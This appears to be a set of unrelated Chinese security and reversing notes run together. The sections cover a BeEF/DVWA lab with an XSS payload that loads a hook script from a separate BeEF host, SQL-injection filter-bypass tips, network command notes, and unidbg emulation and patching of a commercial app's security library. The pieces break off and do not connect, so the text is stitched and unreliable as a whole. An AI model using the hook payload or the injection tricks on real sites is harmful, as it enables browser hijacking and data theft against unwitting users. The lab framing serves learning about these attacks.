0%

环境

  • Docker
  • BeEF
  • 存在xss漏洞的Web App: DVWA

建立环境

启动Docker

BeEF

  1. 命令行:

    1
    2
    3
    docker pull janes/beef

    docker run -d --name BeEF -p 0.0.0.0:3000:3000 janes/beef:latest
  2. 浏览器:

    1
    2
    3
    4
    http://localhost:3000/ui/authentication

    Username: beef
    Password: beef

Web App: DVWA

  1. 命令行:

    1
    2
    3
    4
    docker pull citizenstig/dvwa

    docker run -d --name DVWA -p 0.0.0.0:80:80 citizenstig/dvwa:latest

  2. 浏览器:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    http://localhost

    Username: admin
    Password: password

    把 DVWA 的 Security Level 调整为 low

    打开 XSS(Reflected)页面
    http://localhost/vulnerabilities/xss_r/
  3. 浏览器:What’s your name?

    1
    2
    3
    4
    5
    6
    7
    输入
    <script src="http://192.168.1.100:3000/hook.js"></script>


    注意:192.168.1.100是运行BeEF机器的ip地址

    注意:保持这个页面一直打开,不要关闭

[TOC]

知识点

MySQL > 5.0
数据库:information_schema
表:schemata, tables, columns

  • schemata: 存储该用户创建的所有数据库的库名,库名字段schema_name
  • tables: 存储该用户创建的所有数据库的库名和表名,table_schema,table_name
  • columns: 存储该用户创建的所有数据库的库名、表名、字段名. table_schema,table_name,column_name
  • 注释符: #, 空格/**/
  • 内联注释: /*! code */
    比如:id=15/*! union*//*! select*/1,2,3
  • 浏览器中输入%23--+才能变为数据库中的#
  • order by 1-99: 查询该数据表的字段数量

阅读列表

[TOC]

curl

1
2
3
4
# 设置代理的2种方法
> env http_proxy=http://localhost:8080 curl -I http://google.com

> curl --proxy http://localhost:8080 https://example.com

curl网站开发指南

问:ip命令来自哪个包
答:ip 命令来自于 iproute2 安装包,一般系统会默认安装,如果没有的话,请读者自行安装

问:服务名称与port number的对应在Linux当中,是用那个文件来设定对应的?
答:/etc/services

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  ~ cat /etc/resolv.conf
# This file is not consulted for DNS hostname resolution, address
# resolution, or the DNS query routing mechanism used by most
# processes on this system.
#
# To view the DNS configuration used by this system, use:
# scutil --dns
#
# SEE ALSO
# dns-sd(1), scutil(8)
#
# This file is automatically generated.
#
nameserver 202.101.172.35
nameserver 202.101.172.47

route

host, nslookup

侦测主机名与IP对应

host这个指令可以用来查出某个主机名的IP喔!
范例一:找出tw.yahoo.com的IP

1
2
3
4
5
6
➜  ~ host tw.yahoo.com
tw.yahoo.com is an alias for atsv2-fp-shed.wg1.b.yahoo.com.
atsv2-fp-shed.wg1.b.yahoo.com has address 124.108.103.103
atsv2-fp-shed.wg1.b.yahoo.com has address 124.108.103.104
atsv2-fp-shed.wg1.b.yahoo.com has IPv6 address 2406:2000:ec:815::3
atsv2-fp-shed.wg1.b.yahoo.com has IPv6 address 2406:2000:ec:815::4

范例一:找出www.google.com的IP

1
2
3
4
5
6
7
➜  ~ nslookup www.google.com
Server: 202.101.172.35
Address: 202.101.172.35#53

Non-authoritative answer:
Name: www.google.com
Address: 64.13.192.76
1
2
3
4
5
6
7
8
9
➜  ~ nslookup 64.13.192.76
Server: 202.101.172.35
Address: 202.101.172.35#53

Non-authoritative answer:
76.192.13.64.in-addr.arpa name = acmkokecgc.gs01.gridserver.com.

Authoritative answers can be found from:

netstat

netstat的输出主要分为两大部分,分别是TCP/IP的网络接口部分,以及传统的Unix socket部分。

基本上,我们常常谈到的netstat的功能,就是在观察网络的联机状态了,而网络联机状态中,又以观察『我目前开了多少的port在等待客户端的联机』以及『目前我的网络联机状态中,有多少联机已建立或产生问题』最常见。

Unix socket通常是用在一些仅在本机上运作的程序所开启的插槽接口文件,例如X Window不都是在本机上运作而已吗?那何必启动网络的port呢?当然可以使用Unix socket啰,另外,例如Postfix这一类的网络服务器,由于很多动作都是在本机上头来完成的,所以以会占用很多的Unixsocket喔!

netstat – show network status
netstat命令显示各种网络相关的数据结构。
对于显示的信息,依据选项,有多种输出格式。
第一种格式:显示各种协议所有的sockets
第二种格式:根据所选择的选项显示其他网络数据结构之一的内容
第三种格式:在指定等待间隔的情况下,netstat将在配置的网络接口上连续显示有关数据包流量的信息
第四种格式:显示指定协议或地址系列的统计信息。如果指定了等待间隔,将显示最后一个间隔的协议信息
第五种格式:显示指定协议或地址系列的每个接口统计信息
第六种格式:显示mbuf(9)统计信息
第七种格式:显示指定地址系列的路由表
第八种格式:显示路由统计信息

1
2
3
4
5
6
7
8
netstat [-AaLlnW] [-f address_family | -p protocol]
netstat [-gilns] [-v] [-f address_family] [-I interface]
netstat -i | -I interface [-w wait] [-c queue] [-abdgqRtS]
netstat -s [-s] [-f address_family | -p protocol] [-w wait]
netstat -i | -I interface -s [-f address_family | -p protocol]
netstat -m [-m]
netstat -r [-Aaln] [-f address_family]
netstat -rs [-s]
1
2
3
4
# 与路由有关的参数
# -r 列出路由表,功能如同route这个指令
# -n 不使用主机名与服务名称,使用IP与port number,如同route -n
netstat -[rn]
1
2
3
4
5
6
7
#范例一:列出目前的路由表状态,且以IP及port number显示:
➜ ~ netstat -rn
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
0.0.0.0 10.211.55.1 0.0.0.0 UG 0 0 0 enp0s5
10.211.55.0 0.0.0.0 255.255.255.0 U 0 0 0 enp0s5
169.254.0.0 0.0.0.0 255.255.0.0 U 0 0 0 enp0s5
1
2
3
#范例二:列出目前的网络联机状态,且以IP及port number显示:
# -a:列出所有的联机状态,包括tcp/udp/unix socket等
➜ ~ netstat -an
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#范例三:列出目前已启动的网络服务:
#最重要的其实是那个-l的参数,因为可以仅列出有在Listen的
➜ ~ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN -
udp 0 0 0.0.0.0:35144 0.0.0.0:* -
udp 0 0 127.0.1.1:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:631 0.0.0.0:* -
udp 0 0 0.0.0.0:40666 0.0.0.0:* -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp6 0 0 :::50198 :::* -
udp6 0 0 :::33848 :::* -
udp6 0 0 :::5353 :::* -
udp6 0 0 :::5353 :::* -

文章

课程

图书

[TOC]

unidbg

  • 版本:0.9.3
  • 下载地址:

环境

  • app: ddan.1.27.1.1028.1607website.434.apk
  • so: libInnoSecure.so

代码

unidbg java smail
ByteArray byte[] [B
StringObject String
  • 创建

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    1. 
    byte[] data = new byte[16];
    new ByteArray(vm, data)

    2.
    new StringObject(vm, "12345")

    3.
    DvmInteger dvmInt = DvmInteger.valueof(vm, 2)

    3.
    DvmObject<?> context = vm.resolveClass("android/content/Context").newObject(null)
    vm.addLocalObject(context)

    4.
    class UnidbgPointer extends Pointer

    模块
    AndroidModule extends VirtualModule<VM>
    DalvikModule
    Module
    LinuxModule extends Module
  • 打补丁

    1
    2
    3
    4
    5
    6
    int patchCode = 0x4FF00100; //0x4FF00100:mov r0,1的机器码
    emulator.getMemory().pointer(module.base + 0x1E86).setInt(0,patchCode);

    Pointer pointer = UnidbgPointer.pointer(emulator, module.base + 0x1E86);
    byte[] patch
    pointer.write(0, patch, 0, patch.length);

定义类

  • 位置

unidbg-android/src/test/java/com/包下新建一个包,名字自己定,比如:jason.qjp

在自己建的包下新建类,名字自己定,比如:TestDanDan

  • 有二种方式
1
2
3
4
5
6
7
方式一:extends方式
public class TestDanDan extends AbstractJni {
}

方式二:
public class TestDanDan {
}

推荐用方式一:public class TestDanDan extends AbstractJni

  • 2种方式的区别:

extends方式:方式二适用的场景,全部适用,还能解决方式二不适用的场景

变量值

需要确定的变量值:

  1. for32Bit() / for64Bit()
  2. classPath
  • 32位还是64位
1
2
//for32Bit(), for64Bit() 可选
emulator = AndroidEmulatorBuilder.for32Bit().setProcessName("com.jifen.dandan").build();

确定方法:
方法一:试错法
在确定apk内有libInnoSecure.so的情况下,先试for64Bit()

1
2
3
4
Exception in thread "main" java.lang.IllegalStateException: load library failed: InnoSecure
at com.github.unidbg.linux.android.dvm.BaseVM.loadLibrary(BaseVM.java:206)
at com.jason.qjp.TestDanDan.<init>(TestDanDan.java:61)
at com.jason.qjp.TestDanDan.main(TestDanDan.java:28)

发现出错了,改为for32Bit()

方法二:file命令查看libInnoSecure.so

1
2
➜ file libInnoSecure.so
libInnoSecure.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, BuildID[sha1]=aa4d75912e8c15080bdf1eafaeb45c3267b5e4b8, stripped

方法三: 查看apk的lib目录

1
2
3
4
5
lib
armeabi-v7a/
libInnoSecure.so
x86/
libInnoSecure.so

armeabi-v7a为32位

  • classPath
1
2
String classPath = "com/inno/innosecure/InnoSecureUtils";
vm.resolveClass(classPath);

jadx-gui反编译apk,在里面搜索System.loadLibrary("InnoSecure");,所在的类为:com.inno.innosecure.InnoSecureUtils, 把.替换为/即为classPath的值

  • libso
1
2
String libso = "InnoSecure";
DalvikModule dm = vm.loadLibrary( libso,false);

这里只给了so的名字InnoSecurevm.loadLibrary知道从哪里加载。
因为有写如下代码:

1
2
3
4
vm = emulator.createDalvikVM(new File(apkFilePath));
vm.setVerbose(true);
vm.setJni(this);
new AndroidModule(emulator, vm).register(memory);

这里的场景是:只给了一个apk,没有单独的so文件,把apk做为AndroidModule加载到内存register(memory),vm.loadLibrary从内存memory加载so

函数调用

  • DvmClass

    1
    DvmObject callStaticJniMethodObject(Emulator<?> emulator, String method, Object...args)
  • Module

    1
    2
    3
    Number[] callFunction(Emulator<?> emulator, long offset, Object... args)

    Number[] callFunction(Emulator<?> emulator, String symbolName, Object... args)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    //获取JNIEnv *
    Pointer jniEnv = vm.getJNIEnv();

    //创建jobject对象
    DvmObject<?> thiz = vm.resolveClass("com.kanxue.test2").newObject(null);

    //准备入参
    List<Object> args = new ArrayList<>();
    args.add(jniEnv);
    args.add(vm.addLocalObject(thiz));
    args.add(vm.addLocalObject(new StringObject(vm,"XuE")));

    //根据地址调用
    Number[] numbers = module.callFunction(emulator, 0x9180 + 1, args.toArray());
    System.out.println(numbers[0].intValue());

AbstractJni方法重写

1
2
3
4
5
String apkFilePath = "/Users/zhoujie/Downloads/ddan.1.27.1.1028.1607website.434.apk";        
String classPath = "com/inno/innosecure/InnoSecureUtils";
String libso = "InnoSecure";
TestDanDan test = new TestDanDan(apkFilePath, libso, classPath);
test.destroy();

运行输出如下:

1
2
3
4
5
6
JNIEnv->FindClass(com/inno/innosecure/InnoSecureUtils) was called from RX@0x4000245d[libInnoSecure.so]0x245d
JNIEnv->RegisterNatives(com/inno/innosecure/InnoSecureUtils, RW@0x4000a004[libInnoSecure.so]0xa004, 4) was called from RX@0x40002473[libInnoSecure.so]0x2473
RegisterNative(com/inno/innosecure/InnoSecureUtils, secure(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;[B)[B, RX@0x40005d75[libInnoSecure.so]0x5d75)
RegisterNative(com/inno/innosecure/InnoSecureUtils, decode([BLjava/lang/String;[B)[B, RX@0x40005edd[libInnoSecure.so]0x5edd)
RegisterNative(com/inno/innosecure/InnoSecureUtils, getn()Ljava/lang/String;, RX@0x40006069[libInnoSecure.so]0x6069)
RegisterNative(com/inno/innosecure/InnoSecureUtils, getv([B)Ljava/lang/String;, RX@0x400060ed[libInnoSecure.so]0x60ed)

是因为设置了如下代码:vm.setVerbose(true),设置是否打印Jni调用细节
从输出可以看出libInnoSecure.so动态注册了4个方法

  • 调用so中方法
1
2
3
4
5
6
7
8
9
10
11
12
// java中的声明:public native String getn();

public class TestDanDan extends AbstractJni {
// ......
private final DvmClass MainActivity;
MainActivity = vm.resolveClass(classPath);
String getn() {
DvmObject obj = MainActivity.newObject(null);
DvmObject result = obj.callJniMethodObject(emulator, "getn()Ljava/lang/String;");
return result.toString();
}
}
1
2
DvmObject<String> result = obj.callJniMethodObject(emulator, "getn()Ljava/lang/String;");
return result.getValue();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
//......
TestDanDan test = new TestDanDan(apkFilePath, libso, classPath);
String r = test.getn();
System.out.println(r);
}

// 出错:
JNIEnv->CallStaticObjectMethod(class android/app/ActivityThread, currentApplication()Landroid/app/Application;) was called from RX@0x40001d73[libInnoSecure.so]0x1d73
[10:19:55 045] WARN [com.github.unidbg.linux.ARM32SyscallHandler] (ARM32SyscallHandler:436) - handleInterrupt intno=2, NR=-1073744048, svcNumber=0x12e, PC=unidbg@0xfffe0374[libandroid.so]0x374, syscall=null
java.lang.UnsupportedOperationException: android/app/ActivityThread->currentApplication()Landroid/app/Application;
at com.github.unidbg.linux.android.dvm.AbstractJni.callStaticObjectMethod(AbstractJni.java:340)
at com.github.unidbg.linux.android.dvm.AbstractJni.callStaticObjectMethod(AbstractJni.java:335)
at com.github.unidbg.linux.android.dvm.DvmMethod.callStaticObjectMethod(DvmMethod.java:55)
at com.github.unidbg.linux.android.dvm.DalvikVM$47.handle(DalvikVM.java:1032)
at com.github.unidbg.linux.ARM32SyscallHandler.hook(ARM32SyscallHandler.java:93)
  • 添加callStaticObjectMethod
1
2
3
4
5
6
7
8
@Override
public DvmObject<?> callStaticObjectMethod(BaseVM vm, DvmClass dvmClass, String signature, VarArg varArg) {
if (signature.equals("android/app/ActivityThread->currentApplication()Landroid/app/Application;")) {
return vm.resolveClass("android/app/Application", vm.resolveClass("android/content/ContextWrapper", vm.resolveClass("android/content/Context"))).newObject(signature);
}

return super.callStaticObjectMethod(vm,dvmClass,signature,varArg);
}
  • callStaticObjectMethod vs callStaticObjectMethodV
  • callObjectMethod vs callObjectMethodV
1
2
3
4
5
6
7
public DvmObject<?> callStaticObjectMethod(BaseVM vm, DvmClass dvmClass, String signature, VarArg varArg) {
throw new UnsupportedOperationException(signature);
}

public DvmObject<?> callStaticObjectMethodV(BaseVM vm, DvmClass dvmClass, String signature, VaList vaList) {
//...... 一大堆代码
}
1
2
3
4
5
6
7
public DvmObject<?> callObjectMethod(BaseVM vm, DvmObject<?> dvmObject, String signature, VarArg varArg) {
//...... 一大堆代码
}

public DvmObject<?> callObjectMethodV(BaseVM vm, DvmObject<?> dvmObject, String signature, VaList vaList) {
//...... 一大堆代码
}
  1. 优先重写callStaticObjectMethodcallObjectMethod
  2. 带V的一般没调用到
  • 被调用的系统API
1
2
3
4
5
6
android/app/ActivityThread->currentApplication()Landroid/app/Application;
android/app/Application->getPackageManager()Landroid/content/pm/PackageManager;
android/app/Application->getPackageName()Ljava/lang/String;
android/content/pm/PackageManager->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
android/content/pm/Signature->toCharsString()Ljava/lang/String;
java/lang/String->getBytes(Ljava/lang/String;)[B

图片

  • AndroidEmulator
    AndroidEmulator
  • VM
    VM

代码

java代码

1
2
3
4
5
6
7
8
9
10
11
// 文件:MainActivity.java
package com.jason.testys;

public class MainActivity extends AppCompatActivity {
static {
System.loadLibrary("native-lib");
}
//

public native void reginso();
}

cpp代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 文件:native-lib.cpp

#include <jni.h>
#include <android/log.h>
void native_test2() {
__android_log_print(ANDROID_LOG_VERBOSE, APPNAME, "native_test2");
}

//注册Java端的方法 以及本地相对应的方法
JNINativeMethod method[] = {
{"reginso","()V",(void*)native_test2}
};

//注册相应的类以及方法
jint registerNativeMeth(JNIEnv *env){
jclass cl=env->FindClass("com/jason/testys/MainActivity");
if((env->RegisterNatives(cl,method,sizeof(method)/sizeof(method[0])))<0){
return -1;
}
return 0;
}


//实现jni_onload 动态注册方法
jint JNI_OnLoad(JavaVM* vm, void* reserved) {
JNIEnv* env = NULL;
if (vm->GetEnv((void**) &env, JNI_VERSION_1_4) != JNI_OK) {
return -1;
}
if(registerNativeMeth(env)!=JNI_OK){//注册方法
return -1;
}
return JNI_VERSION_1_4;//必须返回这个值
}

IDA分析出的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// jint registerNativeMeth(JNIEnv *env)

__int64 __fastcall registerNativeMeth(__int64 a1)
{
__int64 v1; // x19
__int64 v2; // x0

v1 = a1;
v2 = (*(__int64 (**)(void))(*(_QWORD *)a1 + 48LL))();
return (unsigned int)((*(signed int (__fastcall **)(__int64, __int64, char **, signed __int64))(*(_QWORD *)v1 + 1720LL))(
v1,
v2,
method,
1LL) >> 31);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// jint JNI_OnLoad(JavaVM* vm, void* reserved)

signed __int64 __fastcall JNI_OnLoad(__int64 a1)
{
unsigned __int64 v1; // x20
signed __int64 result; // x0
__int64 v3; // x19
__int64 v4; // x0
__int64 v5; // [xsp+0h] [xbp-10h]
__int64 v6; // [xsp+8h] [xbp-8h]

v1 = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
v6 = *(_QWORD *)(v1 + 40);
v5 = 0LL;
if ( (*(unsigned int (**)(void))(*(_QWORD *)a1 + 48LL))() )
{
result = 0xFFFFFFFFLL;
}
else
{
v3 = v5;
v4 = (*(__int64 (__fastcall **)(__int64, const char *))(*(_QWORD *)v5 + 48LL))(v5, "com/jason/testys/MainActivity");
if ( (*(signed int (__fastcall **)(__int64, __int64, char **, signed __int64))(*(_QWORD *)v3 + 1720LL))(
v3,
v4,
method,
1LL) < 0 )
result = 1LL;
else
result = 65540LL;
}
*(_QWORD *)(v1 + 40);
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//java代码
JNINativeMethod method[] = {
{"reginso","()V",(void*)native_test2}
};

//伪代码
.data:0000000000002B08 ; Segment type: Pure data
.data:0000000000002B08 AREA .data, DATA, ALIGN=3
.data:0000000000002B08 ; ORG 0x2B08
.data:0000000000002B08 EXPORT method
.data:0000000000002B08 method DCQ aReginso ; DATA XREF: LOAD:00000000000000F8↑o
.data:0000000000002B08 ; LOAD:00000000000003B8↑o ...
.data:0000000000002B08 ; "reginso"
.data:0000000000002B10 DCQ aV ; "()V"
.data:0000000000002B18 DCQ _Z12native_test2v ; native_test2(void)
.data:0000000000002B18 ; .data ends
.data:0000000000002B18
extern:0000000000002B20 ; ===========================================================================
extern:0000000000002B20
extern:0000000000002B20 ; Segment type: Externs
extern:0000000000002B20 IMPORT __cxa_finalize ; CODE XREF: .__cxa_finalize+C↑j
extern:0000000000002B20 ; DATA XREF: .got.plt:off_1AE8↑o
extern:0000000000002B28 IMPORT __cxa_atexit ; CODE XREF: .__cxa_atexit+C↑j
extern:0000000000002B28 ; DATA XREF: .got.plt:off_1AF0↑o
extern:0000000000002B30 IMPORT __android_log_print
extern:0000000000002B30 ; CODE XREF: .__android_log_print+C↑j
extern:0000000000002B30 ; DATA XREF: .got.plt:off_1AF8↑o
extern:0000000000002B38 IMPORT __stack_chk_fail ; CODE XREF: .__stack_chk_fail+C↑j
extern:0000000000002B38 ; DATA XREF: .got.plt:off_1B00↑o
extern:0000000000002B38
extern:0000000000002B38 END start

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//java代码
JNIEnv* env = NULL;
if (vm->GetEnv((void**) &env, JNI_VERSION_1_4) != JNI_OK) {
return -1;
}

//伪代码
v5 = 0LL;
if ( (*(unsigned int (**)(void))(*(_QWORD *)a1 + 48LL))() )
{
result = 0xFFFFFFFFLL;
}
else
{
v3 = v5;
}

//分析
1. a1 = vm
2. v5 = env
3. (*(_QWORD *)a1 + 48LL) = vm->GetEnv
4. v5被赋值了
1
2
3
4
5
6
7
8
9
10
11
12
13
//java代码
jclass cl=env->FindClass("com/jason/testys/MainActivity");

//伪代码
v3 = v5;
v4 = (*(__int64 (__fastcall **)(__int64, const char *))(*(_QWORD *)v5 + 48LL))(v5, "com/jason/testys/MainActivity");


//分析
1. v5 = env
2. (*(_QWORD *)v5 + 48LL) = env->FindClass
3. (v5, "com/jason/testys/MainActivity") = ("com/jason/testys/MainActivity")
4. v4 = jclass cl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//java代码
if((env->RegisterNatives(cl,method,sizeof(method)/sizeof(method[0])))<0){
return -1;
}

//伪代码
if ( (*(signed int (__fastcall **)(__int64, __int64, char **, signed __int64))(*(_QWORD *)v3 + 1720LL))(
v3,
v4,
method,
1LL) < 0 )
result = 1LL;
else
result = 65540LL;

//分析
0. v4 = cl
1. v3 = env
2. (*(_QWORD *)v3 + 1720LL) = env->RegisterNatives
3. (v3, v4, method, 1LL) = (cl, method, sizeof(method)/sizeof(method[0])))<0)
  • 结果
1
2
3
4
5
6
7
8
9
10
11
12
13
// 参数数量变化

GetEnv: 2 -> 0
vm->GetEnv((void**) &env, JNI_VERSION_1_4)
(*(_QWORD *)a1 + 48LL)()

FindClass: 1 -> 2
env->FindClass("com/jason/testys/MainActivity")
(*(_QWORD *)v5 + 48LL)(v5, "com/jason/testys/MainActivity")

RegisterNatives: 3 -> 4
env->RegisterNatives(cl,method,1)
(*(_QWORD *)v3 + 1720LL)(v3,v4,method,1LL)